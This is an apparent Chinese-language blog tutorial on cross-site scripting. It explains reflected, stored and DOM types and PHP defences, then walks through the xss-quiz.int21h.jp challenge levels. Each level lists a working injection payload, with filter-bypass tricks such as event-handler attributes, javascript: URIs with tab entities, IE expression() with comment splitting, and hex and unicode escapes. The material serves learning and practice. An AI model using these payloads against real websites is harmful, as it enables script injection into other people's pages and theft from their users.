XSS

XSS简单使用

简介

xss1

1
2
XSS成效:js能做的事,xss都能做。
范围:web页面客户端攻击。

分类

1
2
3
4
5
6
7
8
1.反射型 恶意代码只执行一次
2.存储型 恶意代码存储在数据库中,若输出页面上,浏览器每刷新一次则解析一次。
3.dom型 这是一种基于DOM树的XSS。
例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,
如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。
DOM型XSS可能是存储型,也有可能是反射型。

漏洞成因

1
输入的参数未进行过滤直接输出到网页上,被用户浏览器解析。

攻击场景

1.Reflected
xss2

2.Stored

1
存储在数据库,持久性,多出现于留言板,个人信息。

xss3

3.DOM

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html>
<body>
<script>
function xsstest(){
var str=document.getElementById("text").value;
document.getElementById("t").innerHTML="<a href=' "+str+" '>testlink</a>";
}
</script>
<input type="text" id="text" value=""/>
<input type="button" value="write" onclick="xsstest()">
<div id='t'></div>
</body>
</html>

1
2
3
4
5
6
7
源码: <a href=''>testlink</a>
payload: '//'><img src=1 onerror=alert('xss');//
合成: <a href=' '//'><img src=1 onerror=alert('xss');// '>testlink</a>
' 闭合前面标签//注释后面的'

xss4

防御方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
在php中的防御。
$name = htmlspecialchars( $_GET[ 'name' ],ENT_QUOTES );
过滤输入,把html标签实体化,ENT_QUOTES指单引号也需要转义。
htmlspecialchars 函数
预定义的字符是:
& (和号)成为 &amp;
" (双引号)成为 &quot;
' (单引号)成为 &#039;
< (小于)成为 &lt;
> (大于)成为 &gt;
set httponly防止cookie被盗取。
PHP5
setcookie("user","lxhsec",NULL,NULL,NULL,NULL,True);
最后一个参数为HttpOnly属性

XSS通关

1
http://xss-quiz.int21h.jp/

1.

第一关

1
<script>alert(document.domain)</script>

2.

第二关

1
"</input><script>alert(document.domain)</script><input value=""

3.

第三关

1
2
3
4
<script>alert(document.domain);</script>
前面的输入框实体化了html标签,故抓包在国家那里插xss,
只要是输入的地方都可能存在漏洞。

x3

4.

第四关

1
2
抓包在参数p3处插入,需要闭合
"/><script>alert(document.domain);</script>

5.

第五关

1
2
"/><script>alert(document.domain);</script>
浏览器审查元素改长度。

6.

第六关

1
2
3
123" onfocusin=alert(document.domain) autofocus x="
123" onfocusout=alert(document.domain) autofocus x="
123" onblur=alert(document.domain) autofocus x="

7.

第七关

1
123" onfocusin=alert(document.domain) autofocus x="

8.

第八关

1
2
3
javascript:alert(document.domain);
js伪协议

9.

第九关

1
2
" onmousemove="alert(document.domain)
这个它提示是时utf-7..但是我转码utf-7 +号也转成%2b了,还是没过去,不知道为啥,最后用firebug。

x99

10.

第十关

1
"</input><script>alert(document.dodomainmain)</script><input value="

11.

第十一关

1
2
3
"</input><a href="javascr&#09ipt:alert(document.domain);">lxhsec</a><input value="
&#09 制表符。换行符,回车符应该也是可以得。

12.

第十二关

1
2
3
4
``onmousemove=alert(document.domain);
``这个要在ie中才会被解析。
我测试的是ie版本为6.0

xss12

13.

第十三关

1
2
3
background-color:salmon;width: expression(alert(document.domain));
expression 也是ie中才有的。。。

x13

14.

第十四关

1
2
3
background-color:salmon;width: expres/*123*/sion(alert(document.domain));
注释绕过。。

15.

第十五关

1
2
3
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
\\ -> \

16.

第十六关

1
2
3
hogehoge\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
js中不仅支持unicode 还支持八进制,十六进制。

个人理解,仅供参考。

参考资料